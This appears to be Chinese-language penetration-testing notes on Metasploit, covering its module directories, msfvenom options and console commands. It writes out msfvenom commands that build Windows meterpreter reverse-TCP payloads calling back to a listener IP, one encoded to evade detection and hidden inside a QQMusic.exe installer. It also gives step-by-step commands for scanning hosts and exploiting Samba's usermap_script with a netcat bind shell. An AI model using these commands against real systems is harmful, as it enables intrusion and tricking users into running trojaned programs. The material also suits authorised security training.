前言
Metasploit是一款开源的安全漏洞检测工具,包含辅助、漏洞利用、编码、攻击载荷等模块。Metasploit本身附带数百个已知软件漏洞的专业级漏洞攻击工具,能快速获取、开发并对计算机软件漏洞实施攻击。
目录结构
metasploit在linux下的目录位置:
usr/share/metasploit-framework
modules是存放模块的目录
auxiliary(辅助模块):辅助渗透测试,扫描端口、爆破密码、嗅探、指纹识别
exploits(漏洞利用模块):包含漏洞利用脚本,对目标进行漏洞利用
payloads(攻击载荷):攻击成功后在目标机器执行的代码
encoders(编码模块):对payload进行编码以绕过入侵检测
post(后渗透模块):成功获取meterpreter后对目标发送指令
evasion(躲避模块):生成免杀payload
plugins是存放插件的目录
tools存放其它工具
config存放配置文件和执行文件
scripts存放辅助的脚本
db存放数据库文件
data存放数据文件,例如字典
Msfvenom
Kali中Msfvenom代替msfpayload和msfencode
常用参数:
-l (列出指定模块可用的资源)
payloads/encoders/nops/all
-p(指定payload)
-f(指定输出的文件格式)
-o(payload文件输出)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhos192.168.108.236 lport=9999 -f exe -o test1.exe
-e(指定编码器)
-a(指定payload的目标架构平台)
-b(设定规避字符集)
-n(为payload预先指定一个NOP长度)
-s(指定payload长度)
-i(指定编码次数)
-c(指定一个附加的win32 shellcode文件)
-x(指定一个自定义的可执行文件并嵌入payload)
-k(保护模板程序的动作,注入的payload作为一个新的进程运行)
-v(指定自定义变量)
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhos192.168.108.236 lport=9999 -e x86/shikata_ga_nai -b '\x00\xff'-i 10 -x QQMusic.exe -f exe -o new1.exe
auxuliary模块
扫描存活主机
use auxiliary/scanner/discovery/arp_sweep
端口扫描
use auxiliary/scanner/portscan/syn
查看需要配置的选项
show options
设置需要配置的参数
set rhost 192.169.22.33
搜索模块
search platform:windows cve:2009 type:exploit
exploit模块
使用渗透攻击模块
use exploit/multi/samba/usermap_script
查看与该渗透攻击模块相兼容的攻击载荷
show payloads
设置攻击载荷
set payload cmd/unix/bind_netcat
查看需要配置参数
options
设置需要配置的参数
set rhost 192.169.22.33
开始攻击
run